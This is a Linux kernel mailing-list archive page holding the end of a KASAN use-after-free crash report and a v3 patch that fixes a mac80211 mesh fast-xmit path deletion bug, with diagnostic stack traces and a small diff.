[ 40.283857] ip_output (net/ipv4/ip_output.c:443 net/ipv4/ip_output.c:324 include/linux/netfilter.h:307 net/ipv4/ip_output.c:437)
[ 40.283860] ? __pfx_ip_output (net/ipv4/ip_output.c:278)
[ 40.283864] ? ip_make_skb (net/ipv4/ip_output.c:1580)
[ 40.283868] ? __pfx_ip_generic_getfrag (net/ipv4/ip_output.c:658)
[ 40.283872] ? __pfx_ip_make_skb (net/ipv4/ip_output.c:1546)
[ 40.283876] ip_send_skb (include/net/dst.h:470 (discriminator 6) net/ipv4/ip_output.c:131 (discriminator 6) net/ipv4/ip_output.c:1506 (discriminator 6))
[ 40.283880] udp_send_skb (net/ipv4/udp.c:1161 (discriminator 1))
[ 40.283884] udp_sendmsg (net/ipv4/udp.c:1443)
[ 40.283887] ? __pfx_udp_sendmsg (net/ipv4/udp.c:1221)
[ 40.283891] ? __pfx___css_rstat_updated (include/linux/srcutree.h:319 (discriminator 58))
[ 40.283918] ? vruntime_eligible (kernel/sched/fair.c:616 (discriminator 1) kernel/sched/fair.c:903 (discriminator 1))
[ 40.283960] ? pick_eevdf (kernel/sched/fair.c:941 kernel/sched/fair.c:1167)
[ 40.283964] ? timerqueue_linked_add (include/linux/rbtree.h:282 lib/timerqueue.c:96)
[ 40.283968] ? _raw_spin_unlock_irqrestore (include/linux/spinlock_api_smp.h:179 (discriminator 1) kernel/locking/spinlock.c:198 (discriminator 1))
[ 40.283971] ? inet_send_prepare (net/ipv4/af_inet.c:849 (discriminator 1))
[ 40.283982] __sys_sendto (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2252 (discriminator 1))
[ 40.284006] ? __pfx___sys_sendto (net/socket.c:2206)
[ 40.284012] ? __pfx___schedule (kernel/sched/core.c:8146)
[ 40.284022] __x64_sys_sendto (net/socket.c:2259 net/socket.c:2255 net/socket.c:2255)
[ 40.284026] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 40.284031] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 40.284034] RIP: 0033:0x7fd985c43494
[ 40.284037] Code: 89 4c 24 1c e8 8d f8 ff ff 44 8b 54 24 1c 8b 3c 24 45 31 c9 89 c5 48 8b 54 24 10 48 8b 74 24 08 45 31 c0 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 34 89 ef 48 89 04 24 e8 b9 f8 ff ff 48 8b 04
All code
========
0: 89 4c 24 1c mov %ecx,0x1c(%rsp)
4: e8 8d f8 ff ff call 0xfffffffffffff896
9: 44 8b 54 24 1c mov 0x1c(%rsp),%r10d
e: 8b 3c 24 mov (%rsp),%edi
11: 45 31 c9 xor %r9d,%r9d
14: 89 c5 mov %eax,%ebp
16: 48 8b 54 24 10 mov 0x10(%rsp),%rdx
1b: 48 8b 74 24 08 mov 0x8(%rsp),%rsi
20: 45 31 c0 xor %r8d,%r8d
23: b8 2c 00 00 00 mov $0x2c,%eax
28: 0f 05 syscall
2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction
30: 77 34 ja 0x66
32: 89 ef mov %ebp,%edi
34: 48 89 04 24 mov %rax,(%rsp)
38: e8 b9 f8 ff ff call 0xfffffffffffff8f6
3d: 48 rex.W
3e: 8b .byte 0x8b
3f: 04 .byte 0x4
Code starting with the faulting instruction
===========================================
0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax
6: 77 34 ja 0x3c
8: 89 ef mov %ebp,%edi
a: 48 89 04 24 mov %rax,(%rsp)
e: e8 b9 f8 ff ff call 0xfffffffffffff8cc
13: 48 rex.W
14: 8b .byte 0x8b
15: 04 .byte 0x4
[ 40.284041] RSP: 002b:00007fd97fffee90 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[ 40.284058] RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 00007fd985c43494
[ 40.284060] RDX: 0000000000000100 RSI: 00007fd96c000b60 RDI: 0000000000000006
[ 40.284063] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 40.284065] R10: 0000000000004000 R11: 0000000000000246 R12: 00007fd96c000b60
[ 40.284067] R13: 0000000000000100 R14: 00007fd97fffefc0 R15: 0000000000802000
[ 40.284071] </TASK>
[ 40.284072]
[ 40.347188] Allocated by task 510:
[ 40.347727] kasan_save_stack (mm/kasan/common.c:57)
[ 40.348370] kasan_save_track (mm/kasan/common.c:78)
[ 40.348978] __kasan_kmalloc (mm/kasan/common.c:398 mm/kasan/common.c:415)
[ 40.349576] __kmalloc_cache_noprof (include/linux/kasan.h:263 mm/slub.c:5515)
[ 40.350289] mesh_path_new.constprop.0 (include/linux/slab.h:969 include/linux/slab.h:1290 net/mac80211/mesh_pathtbl.c:408)
[ 40.351023] mesh_path_add (net/mac80211/mesh_pathtbl.c:696)
[ 40.351645] ieee80211_add_mpath (net/mac80211/cfg.c:2911)
[ 40.352358] nl80211_new_mpath (net/wireless/rdev-ops.h:255 net/wireless/nl80211.c:9795)
[ 40.353001] genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
[ 40.353736] genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[ 40.354416] netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[ 40.354986] genl_rcv (net/netlink/genetlink.c:1218)
[ 40.355476] netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[ 40.356094] netlink_sendmsg (net/netlink/af_netlink.c:1900)
[ 40.356869] ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[ 40.357511] ___sys_sendmsg (net/socket.c:2738)
[ 40.358186] __sys_sendmsg (net/socket.c:2770)
[ 40.358732] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 40.359277] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 40.360040]
[ 40.360296] Freed by task 12:
[ 40.360758] kasan_save_stack (mm/kasan/common.c:57)
[ 40.361371] kasan_save_track (mm/kasan/common.c:78)
[ 40.362044] kasan_save_free_info (mm/kasan/generic.c:584)
[ 40.362824] __kasan_slab_free (mm/kasan/common.c:253 mm/kasan/common.c:285)
[ 40.363403] kmem_cache_free_bulk (include/linux/kasan.h:235 mm/slub.c:2705 mm/slub.c:2734 mm/slub.c:6439 mm/slub.c:7176 mm/slub.c:7155)
[ 40.364070] kvfree_rcu_bulk (include/linux/slab.h:891 mm/slab_common.c:1502)
[ 40.364732] kfree_rcu_work (mm/slab_common.c:1580)
[ 40.365305] process_one_work (kernel/workqueue.c:3322)
[ 40.365913] worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)
[ 40.366689] kthread (kernel/kthread.c:436)
[ 40.367200] ret_from_fork (arch/x86/kernel/process.c:158)
[ 40.367784] ret_from_fork_asm (arch/x86/entry/entry_64.S:245)
[ 40.368395]
[ 40.368700] Last potentially related work creation:
[ 40.369461] kasan_save_stack (mm/kasan/common.c:57)
[ 40.370028] kasan_record_aux_stack (mm/kasan/generic.c:556)
[ 40.370782] kvfree_call_rcu (mm/slab_common.c:1970)
[ 40.371567] mesh_path_del (net/mac80211/mesh_pathtbl.c:910 net/mac80211/mesh_pathtbl.c:931)
[ 40.372226] nl80211_del_mpath (net/wireless/rdev-ops.h:265 net/wireless/nl80211.c:9813)
[ 40.372835] genl_family_rcv_msg_doit (net/netlink/genetlink.c:1114)
[ 40.373540] genl_rcv_msg (net/netlink/genetlink.c:1194 net/netlink/genetlink.c:1209)
[ 40.374109] netlink_rcv_skb (net/netlink/af_netlink.c:2556)
[ 40.374744] genl_rcv (net/netlink/genetlink.c:1218)
[ 40.375233] netlink_unicast (net/netlink/af_netlink.c:1319 net/netlink/af_netlink.c:1345)
[ 40.375808] netlink_sendmsg (net/netlink/af_netlink.c:1900)
[ 40.376467] ____sys_sendmsg (net/socket.c:775 (discriminator 1) net/socket.c:790 (discriminator 1) net/socket.c:2684 (discriminator 1))
[ 40.377108] ___sys_sendmsg (net/socket.c:2738)
[ 40.377674] __sys_sendmsg (net/socket.c:2770)
[ 40.378214] do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 40.378869] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 40.379593]
[ 40.379858] The buggy address belongs to the object at ffff88800d29ab00
[ 40.379858] which belongs to the cache kmalloc-256 of size 256
[ 40.381678] The buggy address is located 184 bytes inside of
[ 40.381678] freed 256-byte region [ffff88800d29ab00, ffff88800d29ac00)
[ 40.383451]
[ 40.383716] The buggy address belongs to the physical page:
[ 40.384575] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff88800d29b400 pfn:0xd298
[ 40.385910] head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 40.387028] flags: 0x100000000000240(workingset|head|node=0|zone=1)
[ 40.388059] page_type: f5(slab)
[ 40.388541] raw: 0100000000000240 ffff888001042dc0 ffffea000010bf10 ffffea00000f2c10
[ 40.389682] raw: ffff88800d29b400 000000000015000e 00000000f5000000 0000000000000000
[ 40.390789] head: 0100000000000240 ffff888001042dc0 ffffea000010bf10 ffffea00000f2c10
[ 40.391949] head: ffff88800d29b400 000000000015000e 00000000f5000000 0000000000000000
[ 40.393153] head: 0100000000000002 ffffffffffffff01 00000000ffffffff 00000000ffffffff
[ 40.394259] head: 0000000000000000 0000000000000000 00000000ffffffff 0000000000000000
[ 40.395434] page dumped because: kasan: bad access detected
[ 40.396325]
[ 40.396585] Memory state around the buggy address:
[ 40.397340] ffff88800d29aa80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 40.398376] ffff88800d29ab00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 40.399510] >ffff88800d29ab80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 40.400580] ^
[ 40.401333] ffff88800d29ac00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 40.402380] ffff88800d29ac80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 40.403428] ==================================================================
[ 40.404576] Kernel panic - not syncing: KASAN: panic_on_warn set ...
-----END crash log-----
Best regards,
Zihan Xi
changes in v3:
- Use WRITE_ONCE() for both deletion-side MESH_PATH_DELETED updates
to match the lockless READ_ONCE() checks.
- v2 Link: https://lore.kernel.org/all/cover.1788930567.git.zihanx@nebusec.ai/
changes in v2:
- Rewrite the commit message.
- v1 Link: https://lore.kernel.org/all/94174303640c5e1022b31836770bad75f741afbf.1788845030.git.zihanx@nebusec.ai/
Zihan Xi (1):
wifi: mac80211: fix mesh fast xmit path deletion UAF
net/mac80211/mesh_pathtbl.c | 12 +++++++++++-
1 file changed, 11 insertions(+), 1 deletion(-)
--
2.43.0
^ permalink raw reply [flat|nested] 2+ messages in thread* [PATCH wireless v3 1/1] wifi: mac80211: fix mesh fast xmit path deletion UAF
2026-09-18 5:26 [PATCH wireless v3 0/1] wifi: mac80211: fix mesh fast xmit path deletion UAF Zihan Xi
@ 2026-09-18 5:26 ` Zihan Xi
0 siblings, 0 replies; 2+ messages in thread
From: Zihan Xi @ 2026-09-18 5:26 UTC (permalink / raw)
To: Johannes Berg
Cc: Zihan Xi, linux-wireless, linux-kernel, Ryder Lee, Felix Fietkau,
stable, Vega, Luxing Yin
mesh_fast_tx_cache() stores raw mesh_path pointers. Path deletion
flushes the cache and then frees the path with kfree_rcu(), but a
lookup that already holds the path can insert a new cache entry
after the flush. The cache then points at freed memory.
Set MESH_PATH_DELETED before flushing, and skip inserting a cache
entry if the path or MPP path is already deleted. Check this under
the cache walk lock so it is ordered with the flush. Use WRITE_ONCE()
for the deletion flag updates because the cache check reads flags
without taking state_lock.
Fixes: d5edb9ae8d56 ("wifi: mac80211: mesh fast xmit support")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v3:
- Use WRITE_ONCE() for both deletion-side MESH_PATH_DELETED updates
to match the lockless READ_ONCE() checks.
- v2 Link: https://lore.kernel.org/all/cover.1788930567.git.zihanx@nebusec.ai/
changes in v2:
- Rewrite the commit message.
- v1 Link: https://lore.kernel.org/all/94174303640c5e1022b31836770bad75f741afbf.1788845030.git.zihanx@nebusec.ai/
net/mac80211/mesh_pathtbl.c | 12 +++++++++++-
1 file changed, 11 insertions(+), 1 deletion(-)
diff --git a/net/mac80211/mesh_pathtbl.c b/net/mac80211/mesh_pathtbl.c
index 03171cf008557..fa5eac8f0c2ee 100644
--- a/net/mac80211/mesh_pathtbl.c
+++ b/net/mac80211/mesh_pathtbl.c
@@ -577,6 +577,12 @@ void mesh_fast_tx_cache(struct ieee80211_sub_if_data *sdata,
goto unlock_sta;
spin_lock(&cache->walk_lock);
+ if ((READ_ONCE(mpath->flags) & MESH_PATH_DELETED) ||
+ (mppath && (READ_ONCE(mppath->flags) & MESH_PATH_DELETED))) {
+ kfree(entry);
+ goto unlock_cache;
+ }
+
prev = rhashtable_lookup_get_insert_fast(&cache->rht,
&entry->rhash,
fast_tx_rht_params);
@@ -798,7 +804,8 @@ static void mesh_path_free_rcu(struct mesh_table *tbl,
struct ieee80211_sub_if_data *sdata = mpath->sdata;
spin_lock_bh(&mpath->state_lock);
- mpath->flags |= MESH_PATH_RESOLVING | MESH_PATH_DELETED;
+ WRITE_ONCE(mpath->flags,
+ mpath->flags | MESH_PATH_RESOLVING | MESH_PATH_DELETED);
mesh_gate_del(tbl, mpath);
spin_unlock_bh(&mpath->state_lock);
timer_shutdown_sync(&mpath->timer);
@@ -812,6 +819,9 @@ static void __mesh_path_del(struct mesh_table *tbl, struct mesh_path *mpath)
{
hlist_del_rcu(&mpath->walk_list);
rhashtable_remove_fast(&tbl->rhead, &mpath->rhash, mesh_rht_params);
+ spin_lock_bh(&mpath->state_lock);
+ WRITE_ONCE(mpath->flags, mpath->flags | MESH_PATH_DELETED);
+ spin_unlock_bh(&mpath->state_lock);
if (tbl == &mpath->sdata->u.mesh.mpp_paths)
mesh_fast_tx_flush_addr(mpath->sdata, mpath->dst);
else
--
2.43.0
^ permalink raw reply [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-09-18 5:27 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-18 5:26 [PATCH wireless v3 0/1] wifi: mac80211: fix mesh fast xmit path deletion UAF Zihan Xi
2026-09-18 5:26 ` [PATCH wireless v3 1/1] " Zihan Xi
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®